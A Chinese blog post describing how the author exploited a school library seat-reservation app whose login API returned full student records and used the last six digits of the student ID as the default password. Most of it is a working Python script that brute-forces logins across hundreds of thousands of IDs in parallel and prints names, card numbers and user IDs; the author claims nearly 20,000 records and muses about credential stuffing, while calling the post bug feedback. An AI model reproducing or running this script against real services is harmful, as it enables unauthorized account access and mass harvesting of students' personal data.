记录一次我是如何爬了某学校近2w学生信息的！

     背景：某学校图书馆为了防止占位，新出来一个软件，用于软件预约坐位，就想写个定时软件来每天预约坐位，把软件要来看看怎么实现。这个软件可能刚上线所以很多逻辑有bug，直接返回json包含了所有信息，而且软件默认为学生号后六位登陆。代码实现用python，多进程+协程处理。

---

    抓包：打开Fiddler抓包，这个就不教程了，如图一，直接抓post登陆数据包，可以很容易发现，太low了吧。。。返回的信息都太全了，有什么不知道的呢？服务器都还是IP直连。出于对别人和软件的隐私，对图片进行处理。

       

                                                                      图一：抓post数据

虽然软件有确认信息验证，但是你信息都返回到json了，就像赤裸裸的美女在哪跳钢管舞，吭~~反正就那个意思，这有什么用呢？只要没有改过密码的学生或者是只是改了简单的6位密码的学生，那岂不是信息都暴露了？

---

     爬虫：想到这里，那岂不动手试试？ps：这里本人只是尝试，无意拉去个人信息，且信息无保留，仅作提供bug反馈。

那就模拟post直接把学号+学号后6位跑一遍，把学生的姓名，学生卡号，学生号，学生id全部输出出来吧。代码实现如下：

# -*- coding:utf-8 -*-
__author__ = 'longsir'
__date__ = '#=2018/8/31 13:53'
import requests,gevent
import json
import multiprocessing
import sys
reload(sys)
sys.setdefaultencoding('utf8')


def for_id(start_id,end_id):#循环学生id后6位
    for id in range(start_id,end_id):
        list = []#创建一个列表
        userPhysicalCard = str(id).zfill(6)#设置6位数，前面不足补0
        list.append(userPhysicalCard)#把学生后6位仍进去
        t1=gevent.spawn(check_login,list)#创建一个协程，用于加快爬取速度
        t1.join()

def fetch(post_body):#post登陆数据，抓取数据。
    q = requests.post(url="http://IP/tsgintf/main/service", data=json.dumps(post_body))
    if q.json()['result_code'] == '0':
        print(q.json()['result_data']['userName'] + '----' + q.json()['result_data']['userPhysicalCard'] + '----' +
              q.json()['result_data']['studentCard'] + '----' + str(q.json()['result_data']['userId'])) #打印需要的数据
    # else:
    #     print(userPhysicalCard+'----密码错误')

def check_login(list): #用于生成请求数据body
    tasks=[] #定义个协程列表
    for userPhysicalCard in list: #把传过来的数据进行便利，仍进post_body里
        post_body = {"intf_code": "QRY_LOGIN",
                     "params": {"userPhysicalCard": "2018" + userPhysicalCard, "password": userPhysicalCard,
                                "imei": "866146031624376", "pushid": "36100cd24536fc8c18cf", "os": "android",
                                "wmac": "50:8F:4C:F2:D2:1C", "version": "1.1.11", "tversion": 1535597698021,
                                "md5username": "58a4f9d5bbf4b0c658ded53023e6d2d1"}}
        tasks.append(gevent.spawn(fetch, post_body))#创建协程，调用fetch函数，抓取数据
    gevent.joinall(tasks)#多协程操作

if __name__ == '__main__':
    #starttime = datetime.datetime.now()
    process_list=[] #启动多进程
    p1 = multiprocessing.Process(target=for_id, args=(210001, 300000,))
    process_list.append(p1)
    p2 = multiprocessing.Process(target=for_id, args=(300000, 400000,))
    process_list.append(p2)
    p3 = multiprocessing.Process(target=for_id, args=(400000, 500000,))
    process_list.append(p3)
    p4 = multiprocessing.Process(target=for_id, args=(500000, 600000,))
    process_list.append(p4)
    p5 = multiprocessing.Process(target=for_id, args=(600000, 700000,))
    process_list.append(p5)
    p6 = multiprocessing.Process(target=for_id, args=(700000, 800000,))
    process_list.append(p6)
    p7 = multiprocessing.Process(target=for_id, args=(800000, 900000,))
    process_list.append(p7)
    p8 = multiprocessing.Process(target=for_id, args=(900000, 1000000,))
    process_list.append(p8)

    #生成多进程，加快爬取速度
    for p in process_list:
        p.start()
    for p in process_list:
        p.join()

    # p1.start()
    # p2.start()

然后运行该简单的爬虫，把结果重定向处理。

---

    结语：

1. 用这么简单的脚本，我竟然爬了近2w的学生数据【如图二】，一共四届学生的全部信息，有了这些信息我能做什么？不用我说了吧，轻点的我可以掌握这部分学生的部分校园信息，重点的我甚至可以撞库，相信大部分大学生为了省事把各种密码就设置成学号后6位吧？虽然没有学生的身份证信息，但是谁有能确认利用这些信息不能获取到呢？？？                                                           

                                                                         图二：部分学生信息图

      2. 如何加强防范？长点心啊，这些信息为啥返回，不能隐藏后台校验吗？为什么不设置反爬虫机制？我一个ip爬了2w的信息，为什么不封我ip呢？为什么不设置成身份证后6位密码，而是仅仅简单的学号后6位呢？

      3. 此篇文章并没有多大技术含量，仅以此文章反馈贵校软件存在的问题。希望贵校重视此问题并及时修复。

---